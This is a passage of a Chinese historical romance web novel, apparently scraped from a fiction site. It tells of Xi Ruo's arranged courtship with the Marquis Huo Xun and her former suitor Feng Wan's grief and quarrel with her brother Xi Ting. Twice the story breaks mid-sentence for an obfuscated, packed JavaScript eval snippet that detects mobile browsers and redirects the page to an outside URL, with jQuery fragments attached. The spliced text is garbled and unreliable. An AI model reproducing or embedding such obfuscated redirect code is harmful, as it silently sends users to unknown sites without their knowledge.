他收回了这一路以来的阻拦和禁锢,与她道:“我先前因守孝,一直不曾议亲。陛下召我入京,也有盘算此事的意图。你长兄同我谈起此事,我的确是觉得,选你要比选择其他贵女要强上许多。这回相见,我是认真的。” 息偌忘了自己还攥着他的衣摆,指尖缓缓收紧了,道:“你都不认识我。” 霍恂又扯了扯唇角,道:“今日不就认识了吗?” 息偌不知道这算不算是一个笑。今日相见,霍恂看着她不知笑了多少次,每一次都让她感觉不同。这个笑也与前面的不一样,但她一如之前不解其意。 霍恂倒也没急着下车,好整以暇地问她道:“你心中觉得如何呢?” 他坐正了,身形微微一动,将衣摆带得平整。息偌感觉到手下一动,才后知后觉地松开了手指。 她坐在他对面,向车壁靠了靠,脊背绷得笔直,道:“我觉得你讨厌息家。” 他面对息停的时候,气势那般锋利,半分也不肯弱于对方;他面对她的时候,又披不住温和的外衣,忍不住要说她愚蠢。 谁见了不会觉得他讨厌息家呢? 霍恂没有被指控的尴尬,也没有反驳什么,十分从容地与她道:“世家之祸深矣。我的确不大喜欢世家,并不只针对你家。” 息偌活了这么大,听说过的朝堂政见并不太多,家中的父兄叔伯们是很不爱在女眷面前谈论这些的。 但霍恂当真与旁人不一样。他并不觉得饮茶观雪的谈笑或是指点国家弊病之间有什么高下之分、男女之分,他在两种截然不同的话题之中转换自如,并不在她面前做什么掩饰。 他并不因为息偌是女子,就避于谈论,反而因为她是女子,将话说得很是明白。 在家中时,息偌只能勉强揣测息停的艰难和息家的困境,但今日出来与霍恂对面交谈时,即便只有三言两语,她反而很直观地感受到了世家与皇权之间的对峙抗衡。 她也是世家女,她也身处旋涡之内。他说了,息停想用她来换息家,她原本就该是有知情权的。 息偌心里动了动。 这是她很难得的、能感觉到女子并不只是世家烈火烹油鲜花着锦时的美丽装饰、也是如临深渊如履薄冰时的稳固后盾的时刻。 她不自觉就挺直了脊背,用很坚决的姿态、很认真的目光、很严肃的口吻对他道:“我知道你们看世家不顺眼,世家之间也的确有不少蛀虫。但各家各人行事不同,犯不上一竿子打死。你定论之前,总要仔细看一看罢?” 一个乖巧听话的女孩儿家,在竭尽全力地为自己和家人抗争。霍恂难免被这样的姿态吸引,用一双漂亮又潋滟的眼睛回望她道:“对。所以现在我邀的是你息四娘子,不是别家的什么人。” 他说话实在太跳脱了。从相看到国事,又轻轻巧巧地回到了一句“息四娘子”。 这句话原本不该有什么,可他的眼睛太明亮了,将这话也染上三分暧昧之色,将这句“息四娘子”凸显得十分特别,仿佛她就是与别家的所有人都不一样,就只有她不一样。 息偌是个女孩子,女孩子都会因这样的特殊而心动。 她手指在袖中绞紧了,细长的眉梢向上一扬,虽非故意,却仍旧流露出了一种娇憨之色。 她道:“你莫要觉得息四娘子就比别家娘子好欺负……我是息家的女儿!” 霍恂又一笑,眉目很是灿然,话也答得明白。 “明白。你永远都是息家的女儿。” 所以将来,即便皇室真与世家出了分歧,他也不会强求她舍下家人,和他站在一边。 息偌明白他的意思了。 她又仔仔细细地将他上下打量了一遍。 他生得好看,长得聪明,不会失她的脸面;他明白彼此的处境,有心促成此事,态度还算积极,也提前说好了可能会有的分歧,立场也算明确。 实话说,息偌来前心中所想的那些基本要求,他已经做到了符合。虽然他也偶有那么几回做不到温和,露出了些尖锐的态度和言辞—— 但换言之,他并未借全程的温柔假象来诓骗她,最起码他从房门推开的那个瞬间,他就已经露出了自己的本相。 来时,她是个被家族推动操纵的无力女子,但在此处,无论有意还是无意,他已经给了她看清形势、做好准备、原地回头的选择了。 息偌觉得自己可以做出判断了。 她伸手将自己的厚氅拢了拢,偏开头道:“街上的雪还没化完,我走累了,还要回车上来的。” 下了车,她才是真正的没有回头路了。 这回倒是霍恂惊讶了。他没想到她这样快就做好了决定,挑着眉望她一遍,心里竟生出了些对她胆量的赞许,而后笑着推门下了马车。 地面的积雪虽然已经被清扫过了,但砖缝间仍余了残雪,在阳光的照耀下反射出晶莹的光芒。他的靴底踩在青砖地面,踏出很轻微的细碎声响。 霍恂心情大好,回身去扶息偌。 息偌被他抓着手腕,没踩马车边摆好的矮凳,直接就从车上跳了下来。 她问道:“看见没?” 霍恂以为她还是车上低落的状态,听她此问,没反应过来,问道:“什么?” 她挑着细长秀致的眉毛,一双小鹿眼晶晶亮,反驳他之前在茶楼说的那句“怕她摔”的玩笑话,道:“地上有雪,我没摔。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373538|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霍恂看着她,顿了一瞬,将右手抬高,举到她的眼前,问道:“看见没?” 息偌不解道:“什么?” 霍恂眉眼温柔舒展,道:“我扶着你呢。” 艳阳白雪下,那一刻他笑得格外好看。 息偌心里由衷道:狐狸精。 她飞快打断自己的怔忪,问道:“西市不小也不大,你要逛哪里?” 霍恂右手没有松,拉着她向前走去,随口道:“逛一圈。” 息偌停在原地没动,有些不可思议道:“你知道西市多大吗?逛一圈?” 霍恂站在她身前,凑近她低声道:“你我相看的消息很快就会传开,但大家未必会信我们能成。今日.你我头回见面,就立刻同乘了马车,又一起逛了西市。人多口杂,这事可信度就有七分了。” 息偌故意道:“我与别家几位兄长也一起逛过的,哪里就能传得人尽皆知?” 霍恂便笑道:“或者你非要在这里和我吵架也行,只要你不觉得丢脸。” 息偌不怕被人议论,但怕丢脸,让她站在西市街口对着霍恂学泼妇骂街,她死也干不出这件事。 她迅速迈步向前走去,道:“快走罢,早转早回家。” 霍恂站在她背后低声地笑,而后迈步跟上她,走到了她的身边去。 息偌听见他的笑声了,偏着头却故意不看他。她想若是将来成了婚,他也要这样故意惹她吗?她不想被人惹,她从前被惹的次数够多了。 她想要被人好好哄着捧着。 而下一刻,她便听见他问道:“喜欢什么?” 息偌回头瞥了他一眼,他目光透过行人看向沿街的店铺和商贩,好像真是个来体验宁都西市繁华的公子哥儿一样。 他瞧着心情不错,就好像此刻她说要,他就当真会给她都买下来似的。 她的确不用担心他的家底支撑不起她丰富的生活,即便世家之财力已经远胜皇族,但终归这些人也还是富集天下的贵胄。 息偌目光来回地晃,晃完以后实话实说道:“这儿有的我都有。” 但霍恂没有因为她的富裕而罢手旁观。他当真是好好看了看街边的铺子,最后进店挑了一只玉香囊买下送给了她。 那玉质的品相还算不错,虽比起宫中和大家族里打造的物件普通了些,但好在三十二面花鸟纹样足够精巧活泼,戴在身上也不算辱没了她。 息偌原本只是想收下了放在盒子里的。 但巧就巧在,她一侧身,就见到郑沁和几个小姐妹站在街对面的首饰铺里,看戏似的看着他们两个人。 她是绝不可能在郑沁面前输阵的! 息偌当即把自己的配香放进了这玉香囊里,伸手将它挂在了腰间。 霍恂当然瞧见了她看向对面的动作,他的反应也很给她面子。他就好像真的很喜欢她似的,见她如此做了,笑出了一种十分开心的模样。 这一场声势浩大的表演已经十分完美,息家的马车听从息停的命令,一路在后跟随,此刻终于来到了他们不远之处。 入冬的天色已晚,夕阳的余晖将近,城门关闭的鼓声厚重地响。宁都又变成封闭而孤独的蛰伏巨兽,走出去的人逃出生天,留下来的人被吞噬裹挟。 息偌站在自家马车前对霍恂微笑告辞,转身踏上马车。小盼跟在她后面上来,轻轻关上了车门,将渐起的寒风隔绝在外。 息偌今日折腾这一回,实在也是疲惫,卸下劲来坐在车中,也懒得说话了。待马车终于停在息府门前,才懒懒地理了裙摆准备起身。 小盼刚将车门开了半扇,感觉有人在外面顶着门,伸头只看见息忍的背影。她挤出门来,待看清了,反手就把门甩上了。 到门边的息偌:??? 要不是她退得快,脸都能被扇花了。 息偌一下没反应过来,刚打算张口发问,就听见车门外有个熟悉的声音叫了她一声。 “曼曼,出来。” 6. 落魄 自那回在花楼饮酒被息偌碰个正着以后,冯晚已经好几日不见笑颜了。 狐朋狗友知他这些日子心情不好,饶有趣味地约了他出来,坐在酒楼雅间里谈笑开解。 有位朱郎抱着个美姬同他说话,无谓道:“不就是个小丫头和你吵架?你何时也到了要为这种事情烦闷的地步?” 雅间很大,世家公子坐了一屋子,近些的闻言都笑。冯晚懒洋洋地靠在窗户旁边,哼道:“你懂个屁。” 他已经许多天不见息偌了,即便主动去息家,无论使什么手段,皆被拦在外头。 这事儿不曾传出去,冯晚也不相信息家长辈会无缘无故地拦他,那就只有知情的息停从中作祟。 他便去找息停,问他此举究竟是什么意思。息停公务繁忙,眼皮都不抬一个,只一句话将他打发了。 “后宅的事情,问我作甚?” 冯晚是一点解释的时间和机会都没有。 朱郎将美姬奉上的美酒喝了,听着冯晚的粗口也不生气,继续道:“姑娘家年纪大了,心思七拐八绕的,一只鸟飞了都要把气撒到人身上。息家那小丫头也算是你看着长大的,从前还唤你一声兄长,你和她生什么气?” 冯晚不屑道:“她配我生气?” 她一个小女孩,打小就跟在他身边玩儿,她就是闹翻了天,他何至于要与她生气? 可朱郎显然理解成了另外一番意思。 “是是是,她不配你生气,不配你挂记,然你虽不把人家当回事情,可人家的的确确是个美人,再加之息家将她教得知书达理,这样的小娘子谁不喜欢,也就是你看不上。” 他将美人推开,凑近了些问:“她当真同你断干净了?” 不说还好,这么一说,冯晚的火气也因此上来了不少。他有些忿忿道:“可不?她当真一副好气魄,送她的东西一样一样都给我还回来了,亲笔信写得好生行云流水,生怕日后相见我再纠缠于她似的……我何曾纠缠于她!” 朱郎因此大声笑了出来。 好一句“我何曾纠缠于她”! 男女之间,无非就是那么点恩怨,你追我赶,你进我退。一方弱些,一方便要更强些,如此攻城交战,彼此才能畅快。 那息四娘子倒是足够主动了,这冯九郎君却始终淡然处之,任你是狂风呼啸还是大雨倾盆,他自由来岿然不动、稳如泰山。 若在平时,尚好夸一句行为稳重,可放在风月之前,就显得太失意趣了。 便是些没脸没皮的郎君追求女子,见对方冰冷久了,也难免要失兴失望。更何况这主动的不是什么随随便便的男子,而是息家被宠爱万分的长女息四娘。 也不知这冯晚,平素聪慧万分,怎么碰到这事上来竟这般愚钝,连这一层都想不明白。 朱郎但笑,却不置一词。这九郎的笑话实在好看,他还没想砸这出戏台。 冯晚却不懂这些,他原本就烦躁,眼下更是上火,一听这爽朗笑声,当即将酒杯砸到朱郎身上去。 宁都浪荡的公子哥儿不少,平日里寻花问柳的事情也不少做。冯晚是有些风流,但是在外头,他不曾真的碰过什么人。 那日出去喝酒,冯晚因与息偌冷战日久,心里憋闷,喝多了些又喝急了些,便有些醉意上头。后来也不知是谁点进来几个清倌,有一个直接就坐到了他的腿上。 她身上的熏香呛了些,冯晚不大喜欢,也分得清这是什么人,没打算真的做什么。 但那时候酒意混着心里那点不快,竟生生逼出他几分反意,哪怕息停就坐在他对面,也不影响他眯着眼睛若即若离吊着那姑娘调情。 等酒醒了,他想起息偌撞见这一幕,不免已有了后悔,主动想找她解释和好,而多日求见无门,更是让他一点反意也没有了,尽剩下些懊恼后悔。 莫说是上门主动低头认错道歉了,就让他低三下四去求,他也只剩了同意了。 息偌从来没与他冷到过这般地步,他隐隐觉得不妙,早就半点他心都没有了。 朱郎看着他又黑又沉的脸色,好笑道:“俗话说得好啊,天涯何处无芳草,你冯九郎万花丛中过,何时有过片叶粘在身?原就是当妹妹待的,叫你作死去勾搭,现在弄得好不尴尬。若是真妹妹,谁顾得上管你逛不逛花楼?” 冯晚本就烦躁,偏朱郎不知好歹,一直同他提起息偌。他受不了了,将朱郎一把推开,朱郎却扬声唤了一句。 “息大郎君!” 冯晚无语道:“什么息大郎君?你一边儿凉快去,聒噪!” 朱郎反而扑到窗边去招呼,回头与他道:“当真是息大郎君。” 他对着窗户下长街上那一身锦衣的息停扬了扬手,高声问道:“带妹妹出来玩儿,不若与我们坐一席来?” 冯晚愣了一下。 他回头向窗下去张望,长街上那一辆华贵的马车上,才扶了息停的手走下来的,可不就是息偌吗? 这都快一个月了。 初雪临了宁都城,此刻晴日积雪,长街微寒,息偌站在这初冬青石白雪间,娇俏而美丽。 他都快一个月没见着息偌了。 冯晚坐得靠里,自己虽瞧见了息家兄妹,但这兄妹二人显然都没看见他。他下意识觉得生怯,一时先未想着要去拦息偌,反是向后退了一步,将自己藏得更深了。 息停站在下头,抬首同他们几个窗边的人笑着见礼,道一句“就来”,便先带着妹妹进了对面那家茶楼。 息家兄妹身形不见了,朱郎回头打量着冯晚低垂的眉眼,随口道:“方才息大郎穿那身儿紫色衣裳挺好看啊。” 冯晚失魂落魄地“嗯”了一声。 朱郎又道:“息四娘头上那支银步摇做的真精致。” 冯晚瞥他一眼,就像瞥瞎子似的,无语道:“金的。” 朱郎得逞笑道:“你看这么细致?这好几日了,仍是旧情难忘?” 冯晚冷笑道:“我只是不瞎。” 朱郎凑到一边和其他狐朋狗友喝酒去了,顺便分享冯九郎贡献的这一出新笑料—— 息停说了两句话那样长的时间,他连息停穿了什么颜色的衣裳都看不清,可是就息停两句话这样短的时间,他连息四娘头上戴着金步摇都看清楚了。 息家那辆空荡荡的马车被仆从拉走,显然主人是进去长谈的。 冯晚一个人靠在窗边看着,心里想,她方才里头穿的是一身樱草紫的衣裳,腰间压着碧玉双鱼佩,雪白的腰带上还绣着天青色的花样,外头那一件杏黄色的大氅,也不知暖不暖和。 他想,她耳朵有些红,兴许那大氅不厚,息家的下人是怎么伺候主子的?冰天冷月的,也不知给自家主子穿厚一点,她耳朵上白玉坠子都没她脸冻得白。 他好一阵胡思乱想,也不知过了多久,息停一个人从对面出来,来了他们这边。众人将息停迎了进来,问他怎么不把妹妹也带过来,大家又不是没有一起玩儿过。 息停笑了笑,道:“今日约了清都侯,妹妹与他谈得正欢,我不好打扰,自己过来了。” 朱郎听见此句,意味深长地看向冯晚,这一眼才看见,冯晚一直看着这边儿听息停说话呢。 冯晚对朱郎那一眼看得一身恶寒,皱眉道:“看我做什么?” 朱郎笑着摆手道:“没事没事。” 又转头谈笑道:“我就说大郎君这一身青色衣裳好看罢?你瞧这一身剪裁,多合适,大郎君上哪儿做的?” 息停手顿了一下,没说话。 朱郎心里咯噔一下。 完了,八成是他妻子从前给他做的。 他偷偷瞥了一眼冯晚,发现他似乎还没意识到紫衣和青衣的事,干脆打个哈哈带过去。 要不得罪就都不得罪,一张嘴这两个都得罪了,他不赶紧带过去,这两个煞星不知日后该怎么报复他。若说冯晚也就罢了,这满朝上下,谁敢得罪息为止? 有人这时候冒出来插话道:“清都侯回京不久,倒是不常与人往来,怎么今日息大郎就能将人约出来?” 息停笑了笑,一身的清雅风华。他垂着眼,状似无意,实则非常故意与众人道:“我家四娘也到了适龄,父母有意给她相看。清都侯年少有为,若是有缘,自然最好不过。” 冯晚一口茶呛在喉间,低声咳了好几声才算完。他一边咳一边想,好个屁,有什么可相看的,满打满算,小丫头今年生辰也才十七岁,哪里就该嫁人了? 息家父母疼爱她,想将她多留几年,怎会这样快就安排婚事? 还有缘? 一个袭爵的闲散侯爷,好个屁。 他根本就想象不出来,就那么小个丫头,还嫁人? 息停听见他呛声,余光都没扫过,只当什么都没看见。在座皆知息四娘和冯晚前些时候已经一拍两散,毕竟息四娘出身高贵,如何能受得了当场抓住冯晚亲姑娘这么一幕,分手也是正常的。 冯晚是个浪子。 冯晚吸引得了所有姑娘的目光,抓得住所有姑娘的心,但是冯晚不会为谁停。 息偌这样的身份,原本到了十二三岁便该相看亲事的,可那时候没有动静,后来众人又默认了息偌和冯晚,便一直没有动静。 那时候看息停没什么排斥的反应,原以为息家也是默认了的。谁知道如今提起要给息四娘相亲,清都侯脱颖而出,像是早已被考察了许久的模样,甫一出现,便是一副十拿九稳的样子。 清都侯配息四娘,的的确确是门当户对,叫人挑不出半点不是来。 一别两宽,各自欢喜,谁都不知道冯晚心中是什么想法。 冯晚混混沌沌地坐在席间,又置身事外,他一直盯着对面紧闭的窗,只觉得度日如年,已经过了十年百年,对面的人还不出来。 他坐不住了,冷着脸站起身来,也不及侍从过来伺候,自己拿了厚氅披在肩上,迈步就往外去。 “九郎哪儿去?” 席间有人见他离座,高声发问,冯晚抬手随意摆了摆,语气不怎么好,只道:“家去。” 家去?谁信? 今日相聚,本就有一桩目的是为了安慰冯晚的,眼下搞了这么一出,在座众人面面相觑,彼此都清楚是什么缘故。 有的人余光往息停那边打量,却不敢发问。 他们敢看敢开冯晚的笑话,却不敢随随便便在息停的面前肆意说他家的是非。由是此刻即便再好奇,也只能憋住了静观其变。 息停坐在一旁,对冯晚的离去恍若未闻,不多时后,将手中杯盏搁下了,起身与他们告辞,也走了出去,徒留这一室里的议论纷纷。 冯晚下楼以后,是往对面去的。 什么清都侯,他连见也不曾见过,更不愿相信息偌从前对他那般深情,怎么冷落了两天,便肯与个素不相识的陌生王侯相看。 他非要去看看真假不可。 他的步子迈得又大又快,几步便要横跨长街走到对面去,气势相当汹汹,但还不及他迈进这茶楼,便有个不怕死的伸出手臂来,站在他面前挡住了他的去路。 冯晚心情不好,抬起一双阴沉沉的眼睛,看着对面这侍从打扮的男子,正要开口,便听对面道:“冯郎君,今日我家侯爷宴客,外人不便靠近,您请去罢。” 侯爷。 冯晚立刻就懂了这侍从是什么身份。 他心头火起,冷声道:“你家侯爷哪位?我怎么不记得,宁都城里有谁家王侯在外宴请、店家不曾提前闭门、反倒是现将客人向外撵的道理?是否也太张狂了些?” 他错身便要向内而去。 雁行又向旁一步,再次将他拦住,道:“您若不肯回避,那莫怪在下失礼了。” 他张手便要来架冯晚,冯晚未料到他居然敢对他动手,一时惊讶不已。他抬起头来,正要摆手呵斥,却见另一侧,息忍抱着手臂冷眼瞧着,见他望了过来,还装作不见似的扭过了头。 冯晚张口便要喊息忍,雁行却眼疾手快将他嘴也捂住了,将他这么狼狈不已地拖远了。 光天化日,还是在大街上,对面的那些公子哥儿都开着窗看笑话,冯晚何曾受过这样的屈辱? 他生在世家,也学了武艺,但比起雁行这样的练家子,自然是不够看的,是以反抗几番,也未能从雁行手下脱身。 正急迫时,息停却走了过来,开口道:“还请阁下松手。” 雁行自然是认识息停的,见他面色淡淡,想他应当不会破坏楼上这回相看,便将手松开,将冯晚一把推到了他那边去。 冯晚站稳了,脸色十分难看,指着雁行迈步便要上前。 息默在旁边又将他拦了回来,冯晚心中不满,扭头看向息停,只见他回头与自己道:“你若要在街上闹起来,我还怕给四娘丢脸。你安分些,随我一同上去就是。” 冯晚心中诚然是憋着火的,若在往日,他早就发作出来。可在今日,就为了一句上去能见息偌,他也就将将忍耐了下来。 雁行分明是防着息停要将冯晚带上去的,眼光锐利,不肯让步,而息停又道:“我另定了一个雅间,不与侯爷同层,也不会打扰侯爷会面。你若不放心,在门口守着也可。” 如此,雁行才不情不愿地将人放了进去。 待雅间的门阖上了,冯晚方没忍住对息停怒声道:“你拦我做什么?一个部下都敢这么嚣张霸道,便可知那清都侯是个什么性情。你做长兄的,怎么敢放曼曼一个去和他会面?” 息停淡道:“你若真家去,不到对面闹这一出,他也犯不上在街上这般嚣张霸道。” 冯晚见他竟然一直站在对面那边,眉毛皱得千山万壑一般,不可置信地问道:“你当真决定将她许配给清都侯?” 息停不紧不慢道:“我父母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373539|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直关注年龄合适的郎君,也一早就知道清都侯霍恂。之前老侯爷因病南下,我父母曾有心去关注过他。他母亲是大长公主,一贯受先帝宠爱、今上敬重,这样的身世,父母若不在了,早晚要回宁都。我家提前打探好了,又一直观察,知他人品性情家世皆属上等,近些年才定下来。” 那个时候,霍恂都还是个不到十岁的小少年。 那个时候,冯晚甚至都记不清楚,自己是否已经认识了息偌。 冯晚看着息停,身子不自觉向前,颇觉不可思议地重复了一遍,问道:“近些年?你家既然已经定下了霍恂,还由着她与我越走越近?” 息停挑眉看他,道:“你二人当初若没在一起,我便要与四娘说起此事了,可你们既然在一起,四娘又是由衷开心,我倒也不急于一时。家中总是要留一留她再嫁的,时间未到,发生什么谁也说不准。” 所以息偌这些年,一直没有定亲的消息,不是因为息家不关注,是因为息家已经定下了。 冯晚用一双黑亮的眼睛觑着息停,面浮讥诮之色,讽道:“息停,你这般知晓内情又两厢隐瞒,是对得起她,还是对得起我?” 他生气了,世家子弟教养良好,从没有谁当着面叫人家大名讽刺的。 息停从不是什么好人,也不觉冒犯,他被人这样指着鼻子叫大名辱骂也不是头一回了,听多了以后,骤然见冯晚如此,口吻中甚至带着些趣致,嗤他道:“你见惯风月,用尽手段哄四娘欢心。她开心,你也觉得有趣,那我阻止什么?” 冯晚一拳头就砸了过去,怒喝道:“她是你妹妹!不是你用来看戏的笑话!” 息停飞快起身避了,退后一步还不忘轻轻弹一弹衣摆。 他完全没打算白白受这一拳头,冯晚起身时他云淡风轻地开口道:“我和四娘是息家唯一的同胞,我不会拿她当笑话。四娘同你在一起,若吃了苦头,便当是得了教训,日后便会记得不要再犯,这岂不是好事?” 息停生性冷漠,他和父母族人不相亲,但面上可以掩饰得很好。他秉承家训,孝顺父母,兄友弟恭,待人谦和。他和每个人都可以礼貌地来往,可没有人看得穿他的心思。他对息家没什么感情,可是他将息家护得十分周全。他不阻止他的妹妹同谁在一起,可他会为她选择一门既对她是真的好也对息家是真的好的婚事。 这是他一贯行事的作风,谁也没有改变他,谁也改变不了他。 冯晚揪着他的领子,眼睛里蒙着冰霜,冷声道:“你觉得我绝不会对她真心,等着我同她在一起不久腻了便分开,然后继续大大方方与我相交,再给她找个好人家联姻,谁都不得罪。你好算计。” 息停没否认。 他看着冯晚泛红的眼底,知道冯晚如今的张牙舞爪不过是色厉内荏。他虽面目凶狠,手指却泛着白微颤,一句话都再说不出来。 冯晚喉头滚动几番,也没有一句能说。息停的错是错,可他的错也是错。他已经无法狡辩,所以唯一的一句发问也无力。 “这些年你如何都不肯信,我会对曼曼很好,我会娶她,是吗?” 息停恍惚间觉得这苍白的一幕莫名的熟悉。曾经他也用过这样卑微而无力的姿态问过自己喜爱的女子。他看着现在无能为力的冯晚,仿佛看着当初心虚而只能故作镇定的自己。 他感到喉头有些发涩了,对着冯晚摇头道:“你对四娘很好,或许也真会愿意娶她,可即便你愿娶,我也不会让她嫁你。你做个情郎是不错,做夫君却万万不能。” 息停看得太清楚了。冯晚在某些地方,与他是一样的人。冯晚风流,不滥情、不深情、不长情,他其实从来都没有真正喜欢过什么。 若冯晚和息偌真的成了,难保日后不会变成他与李常希如今的情形。连李常希那样聪明理智的女子都过成了今时今日这般模样,息偌动了心,又哪里有什么自保的本事? 息停面对冯晚,就好像是面对当初的自己。他反驳冯晚,就好像是站在高点反驳当初的自己。他要保护住息偌,就像回到过去,保护住那个无人保护的李常希。 他面对冯晚的姿态瞬间变了,他用很尖锐的言辞戳破了一直平静的假象,问道:“你同四娘在一起,连逗她开心的手段,都是风月场里算计的把戏,看看也便罢了,难道真要将她嫁给你?” 冯晚舌尖上千言万语滚过一遍,他想对息停说,他没有时时算计息偌,那样蠢的小姑娘,如何经得住他算计她?他想对息停说,他若娶了曼曼,一定真的对她好。 可是这话他说不出来,他的过去既定,那时候他没有想过同息偌的以后,等真到了以后,他就已经没有资格。 冯晚一点一点地松开了手指,他看着自己空荡荡的手,总觉得有什么东西在他不知不觉中溜走了,又或者说,是他从来都没有主动抓紧过。 而在一片静寂里,门板突然被人敲响,外头响起来的声音属于息忍,说清都侯约四娘子往西市去转一转。 冯晚睁着眼看息停,想要息停拒绝,但息停只是笑了起来,手里掸平了衣裳,口中对门外应下了此事。 息忍的声音没有再响起,冯晚扭过头要出去,息默在门口又拦住了他。 息停从他身后走出雅间的木门,回头对他道:“你等一等再出来罢,免得打扰了他们,也叫四娘尴尬。” 他说完这话,似乎根本不惧冯晚会贸然出来一般,带着息默便离去了。 冯晚立在原地,果真没再动作,只剩下心里烦躁和颓唐几经翻涌,不知过了多久,方深深呼吸几番,脚步生风走出去。 此处离西市不远,他连马都没骑,眼看着夕阳余晖渐暗,人流越来越大,他始终没能找到息偌。 人潮汹涌,他好像找不回她了。 他心里就剩下最后一点侥幸,想,也许曼曼是厌恶对方的,只是碍于长兄威压,所以被迫前来相见。 也许应付完了,她就早早抽身回家了呢? 于是他又飞快赶到息府去。息府守门的伙计说大郎君与四娘子都不曾回来,冯晚心里微微沉着,转过身去守在街角,目光一错不错盯着大路,生怕错过了息偌回来的瞬间。 由此等到黄昏日暮,息偌的马车才缓缓归来。 他已经站了许久了,此刻一动,才感觉到两条腿都已经因为紧张地久立而僵直。 冯晚跺了跺脚,忍住了腿上的异样和不适,大步上前拦住了马车。她的侍从和侍女守在车外,按死了车门,硬是不肯她下来,他于是还是见不到她一眼。 但他今日非要见她。 他不见她,就问不明白,自己今日这上悬下坠的一颗心,就没法找个实处落定下来。 他迫切地需要见到她,需要确定她的心。 她可以怨他,但不能这样没有一句言语,就转头与旁人定立婚事。 他沉声开口道:“曼曼,出来。” 7. 割舍 息偌听到这一声,当即愣在了原处。 这个声音对她来说实在太过于熟悉了。 过去有十几年,她都时常听见这个声音在耳边绕。骄纵的、肆意的、意气风发的,也有很少的时候,如现在一样,是低而沉的。 她原本预备着起身,现下又缓缓坐了回去。她手里迫切地想要攥一样东西来让自己定心,划过裙边时却碰到了腰间那个玉香囊。 本该是触手生凉的东西,因为被她一直拢在斗篷里,此刻竟也是带了些温度而并不冰手的。 这个玉香囊,一下就让她的思绪定了下来。 她十分平静地对车外道:“冯郎君,请回罢。” 外面沉默了一瞬,冯晚才问她道:“你叫我什么?” 息偌看不见他的脸色,也不想去看。很多年前,他是宠爱她的冯家哥哥,等她长大了,也做过她令人艳羡的情郎。但是那些都结束了。 她已有了去处,他若是知道了,就不该来。 息偌抿了抿唇,没再回答他。这里住着高门世家,没有那些市井中热闹的喧哗,她感觉四周变得异于寻常的安静,她听见他熟悉的脚步声从车头走到了车窗之外。 他对她温柔而低声道:“上次去爬山,你摔坏的鎏金簪子,我修好了。” 他似乎是轻轻地笑了一声,兴许又变回了满不在乎的轻慢表情,于是语气也变得自如轻快道:“既然你将我的东西都还回来了,我也不好留着你的东西了,收回去罢。” 冯家养尊处优的小郎君在寒冷的街市上疾走出一身热汗,也没能找到要找到的人,他只能用最蠢的办法在息家门前守株待兔。 他终于等到了她,她却冰冰冷冷地唤他冯郎君,一面也不肯见他。 息忍和小盼看着冯晚踩着薄雪走到窗边,扯着嘴角的那个笑僵硬无比,眉眼比这初雪还冷。 他动作十分洒脱地将簪子递到窗边,说他不要了。 但他的眼睛在说舍不得。 小盼瞥了瞥紧闭的车门,想,这样可怜的冯郎君,会不会让四娘子心软。 车厢里安静了很长一段时间,息偌轻轻道:“我不要了。” 她在想,她还要他给的簪子做什么?霍恂已经给了她一支新的……不对,那支步摇被她拆了下来,他可拿回去了吗? 她忽而纠结起来——收下那支步摇与他会面,是她应允了此事的代表,若是他又将那东西收了回去,这又要怎么算呢? 一时之间,她想着那支步摇的归处,竟然有瞬间忘了车外还有个落寞的旧情郎。 但冯晚不知道她在想什么。 他只是手里紧紧攥着那支鎏金簪子,感受到簪头上精致的镂刻形状钝钝地戳着他的掌心,连痛也不够畅快。 他还记着,那时还是深秋,他们踩着枯败的落叶登山玩闹,他不小心碰掉了她的簪子,闹得这小姑娘很不开心。他拿手帕将簪子裹起来收了,然后轻言细语地哄她,说下次见她,就还她一个崭新如初的簪子。 息偌那时候没有与他生气,但是下山的时候,他们还是起了争端。两个人不欢而散,谁都没有多给彼此一个眼神。 后来除了花楼那一次不合时宜、又在意料之外的碰面以外,他们就再也没见上。 就那一次。 再后来,就是今日了。 原以为是与往常一样几日之后的下次再见,到了此时,竟成了她与旁人相看议亲的时候。 她的簪子不要了,连他也不要了。 冯晚咬了咬牙,声音倒还平稳如常,只是眼中已经带了些赌气的发狠。 他一如往日般不肯低头,故意道:“四娘,真要和我一刀两断,就别把你的东西丢给我处理。好聚好散,我们何必如此?” 小盼见车内没有回应,连忙上前去接,冯晚却将手避过了,固执道:“谁交到我手里的,谁亲自来拿。” 息偌犹豫了一会儿,不肯与他在家门口攀扯太久,终究还是将木窗抬起一点,伸出手去。 冯晚拿着簪子那只手没动,另一只手却突然抬起,抓住了她的手。 息偌吓了一跳,就要缩手,但是冯晚力气太大,她根本挣脱不开。 息忍见状上前,严肃道:“冯郎君,请松开我家娘子。” 冯晚没松手,但他感觉到息偌在用力地后退。 他眉尖轻轻皱起,迟缓地将簪子放进她掌心,道:“那日的事,我没法和你解释。但是,四娘,我待你不好,对不起。” 他松开了手。 他知道自己错了就是错了,没有信口雌黄地狡辩任何。 “我走了。” 他轻声说。 小盼原以为这是他再一次骗息偌露面的手段,可冯晚退开一步,果真就那么走了。 待他身影转过街角,小盼才敲了敲车门,轻声道:“娘子,冯郎君走了,可以下车了。” 车内的息偌闻声,手指微动,感受到那个细致的断口。那个地方,再如何美丽地镶嵌,也不过是粉饰太平。 